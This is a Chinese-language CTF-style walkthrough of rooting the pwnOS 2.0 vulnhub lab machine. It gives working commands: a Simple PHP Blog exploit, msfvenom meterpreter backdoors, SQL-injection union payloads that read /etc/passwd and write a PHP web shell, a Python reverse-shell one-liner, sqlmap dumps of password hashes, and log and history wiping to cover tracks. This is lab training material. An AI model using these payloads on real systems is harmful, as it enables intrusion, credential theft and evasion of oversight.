Jirairya

pwnos2.0

2017-11-27
hack  sec

在vulnhub下载pwnos2.0,然后获得root

环境

下载靶机时候,更改Vmware的NAT网关为10.10.10.15,将靶机的网卡设置为NAT模式。

靶机pwnos2.0:

  • IP:10.10.10.100
  • 网络掩码:255.255.255.0
  • 网关:10.10.10.15

攻击机kali:

  • IP:10.10.10.16*
  • 网络掩码:255.255.255.0
  • 网关:10.10.10.15

攻击

扫描

root@kali:~# nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 -oX nmap_output.xml 10.10.10.0/24

得到10.10.10.100主机存活再进一步扫描:

nmap -T 5 -A 10.10.10.100 

看到80端口之后,访问Web页面:

使用nikto扫描主机的服务,并做记录:

root@kali:~# nikto -h http://10.10.10.100

Nikto

在Web页面查看robots.txt文件,显示没有。就进行目录爆破:

dirb http://10.10.10.100

PHP WEB漏洞拿root思路

使用dirb工具爆破路径:

root@kali:~# dirb http://10.10.10.100

爆破路径

找到了/blog/config路径,进入上一级目录,查看源码寻找信息,找到了Simple PHP Blog 0.4.0

Alt text

然后通过谷歌浏览器搜索,在exploit database(https://www.exploit-db.com/exploits/1191/)中找到了了exp。直接使用:

Alt text

添加账户:

perl 1191.pl -h http://10.10.10.100/blog -e 3 -U sb -P sb

msf也有Simple PHP Blog 0.4.0的攻击模块可以利用

登陆账户到blog:

Alt text

查看msfvenom的php shell详情:

root@kali:~# msfvenom -p php/meterpreter/bind_tcp --payload-options

Alt text

msfvenom生成php的shell:

root@kali:~# msfvenom -p php/meterpreter/bind_tcp LPORT=4444 > backdoor.php

找到了上传点,上传msfvenom生成的shell:

上传shell

使用msf设置监听,连接shell:

msf > use exploit/multi/handler 

msf exploit(handler) > set payload php/meterpreter/bind_tcp
payload => php/meterpreter/bind_tcp

msf exploit(handler) > set RHOST 10.10.10.100
RHOST => 10.10.10.100

msf exploit(handler) > set LPORT 4444
LPORT => 4444

msf exploit(handler) > options

设置监听

连接成功: 连接成功

查看权限,是低权限机器。又查看设备信息,为后一步攻击做准备,比如提权之类的:

查看信息

基于PHP的payload有时会出现问题,会话可能中断。就直接上传Linux的payload

使用msfvenom生成reverse_tcp的payload:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.10.165 LPORT=5000 > backdoor

利用php后门上传反向连接的payload:

meterpreter > upload /root/backdoor /tmp
[*] uploading  : /root/backdoor -> /tmp
[*] uploaded   : /root/backdoor -> /tmp/backdoor

meterpreter > background
[*] Backgrounding session 1...

使用msf监听:

msf post(system_session) > use exploit/multi/handler 

msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp

msf exploit(handler) > show options

msf exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started reverse TCP handler on 10.10.10.134:5000 
[*] Starting the payload handler...

回到之前的PHP会话,执行新的linux后门:

msf exploit(handler) > sessions -i -1
meterpreter > execute -f /tmp/backdoor
Process 883 created.
meterpreter > shell

根据目录翻阅文件,寻找有用的信息。找到了mysqli_connect.php文件,查看内容,找到了root账户和goodday密码,尝试mysql -u root -p连接,但是失败:

继续往上一级目录翻,又找到了一个mysqli_connect.php,查看又有root账户和密码,结果连接mysql没有回显错误:

root密码所在文件

var目录中找到backups目录,翻阅备份文件,没有高权限,只能

直接使用ssh连接尝试,成功连接,得到了root密码为root@ISIntS

ssh连接成功

开始没有想到在机器上找文件查看信息。尝试了ssh的authorized_keys上传,直接ssh免密钥登录,但是失败。又尝试Linux提权,尝试了几个exp没成功,包括脏牛,也不知道是什么原因。还说继续尝试其他方法提权,但在查看文件目录权限的时候,意外找到了mysql的配置文件。

清除痕迹:

  • rm -rf 删除所以上传的文件
  • history -c
  • 清理日志:http://topspeedsnail.com/clear-last-linux-login-log/

refer:

  • https://hydrasky.com/network-security/create-a-web-backdoor-payload-with-metasploit/

SQl注入拿root思路

手注

在登陆界面,用户名输入',密码输入admin

符号报错测试

页面报错,有注入漏洞。使用burpsuit代理。

伪造账户登录,burpsuit拦截到数据,右键send to Repeater

单引号先测试报错,点go,爆出数据库版本号等信息:

Alt text

order by猜字段,一直尝试到9,' order by 9-- -报错:

Alt text

使用联合查询。' union select 1,2,3,4,5,6,7,8-- -,回显是4:

Alt text

Alt text

在联合查询的4处更换为@@version,爆出主机的系统版本信息:

Alt text

在4处更换为user(),爆出主机名:

Alt text

使用

' union select 1,2,3,column_name,5,6,7,8 from information_schema.columns where table_name='users'-- -

查询表名:

使用

' union select 1,2,3,group_concat(column_name),5,6,7,8 from information_schema.columns where table_name='users'-- -

查询列名:

使用

' union select 1,2,3,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,email,0x3a,pass,0x3a,user_level),5,6,7,8 from users-- -

查询:

得到用户名和密码:

1:Dan:Privett:admin@isints.com:c2c4b4e51d9e23c02c15702c136c3e950ba9a4af:0`

但是密码不能解出。

使用

' union select 1,2,3,load_file('/etc/passwd'),5,6,7,8-- -

查看/etc/passwd文件:

Alt text

使用

' union select 1,2,3,load_file('/var/www/login.php'),5,6,7,8-- -&pass=123456

爆出includes/config.inc.php文件,

```’ sql union select 1,2,3,load_file(‘/var/www/login.php’),5,6,7,8– -&pass=123456


查看:

![](/img/game/pwnos2.0/1511855939657.png)

```sql
' union select 1,2,3,load_file('/var/www/mysqli_connect.php'),5,6,7,8-- -

查看mysqli_connect.php文件

Alt text

尝试登陆,但是登陆不成功。

尝试

' union select 1,2,3,'Test_Fuck',5,6,7,8 into outfile '/var/www/test'-- -

写入使用

' union select 1,2,3,load_file('/var/www/test'),5,6,7,8-- -

查看写入的test文件:

Alt text

表明可以写入文件,就使用

' union select null,null,null,"<?php system($_GET['cmd']);?>",null,null,null,null into outfile '/var/www/inf0.php'-- -

写shell文件。

使用

' union select null,null,null,load_file('/var/www/inf0.php'),null,null,null,null-- -

查看写入的文件:

Alt text

执行命令:

Alt text

命令可以执行,使用which python查看有没有python环境。即,使用python 反弹shell:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.165",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

本地nc监听,得到shell:

Alt text

查看/var/mysqli_connect.php得到root密码。

SQLmap

查看基本信息:

Alt text

爆出数据库:

root@kali:~# sqlmap -u "http://10.10.10.100/login.php" --data="email=admin@test.com&pass=admin&submit=login&submitted=TRUE" -p email --dbs

Alt text

爆表名:

root@kali:~# sqlmap -u "http://10.10.10.100/login.php" --data="email=admin@test.com&pass=admin&submit=login&submitted=TRUE" -p email -D ch16 --tables

爆列名:

root@kali:~# sqlmap -u "http://10.10.10.100/login.php" --data="email=admin@test.com&pass=admin&submit=login&submitted=TRUE" -p email -D ch16 -T users --column

猜解密码:

root@kali:~# sqlmap -u "http://10.10.10.100/login.php" --data="email=admin@test.com&pass=admin&submit=login&submitted=TRUE" -p email -D ch16 --passwords

root密码为*248E4800AB95A1E412A83374AD8366B0C0780FFF*9366FE2112E650C8E5523AE337B10A625C727943

解密密码,没有成功。就继续往下走,使用sqlmap查看web路径下的info.php文件成功:

root@kali:~# sqlmap -u "http://10.10.10.100/login.php" --data="email=admin@test.com&pass=admin&submit=login&submitted=TRUE" -p email --file-read=/var/www/info.php

Alt text

尝试使用sqlmap写文件到web根目录下:

root@kali:~# sqlmap -u "http://10.10.10.100/login.php" --data="email=admin@test.com&pass=admin&submit=login&submitted=TRUE" -p email --file-write /root/Downloads/backdoor.php --file-dest /var/www/backdoor.php

backdoor.php是上文使用msfvenom生成的php 后门

Alt text

浏览器访问上传php的shell后的路径,msf连上shell:

Alt text

连上shell,后续步骤和php web页面拿root的思路一样


发现login.php页面。打开http://10.10.10.100/login.php,尝试构造注入。在注册页面,注册账号,然后登陆。使用账号登陆,BurpSuit拦截:

sqlmap -u "http://10.10.10.100/login.php" --data="email=admin@test.com&pass=admin&submit=login&submitted=TRUE" -p email --dbs也可以通过以下方式保存到txt文件中使用sqlmap进行注入攻击:

Alt text

Alt text

构造账户,使用burpsuit代理,点击登录之后,burpsuit就有数据拦截,右键打开copy to file,保存到root目录下,使用sqlmap进行注入检测:

Alt text

root@kali:~# sqlmap -r req.txt -p email

Alt text


Similar Posts

下一篇 获取shell

Comments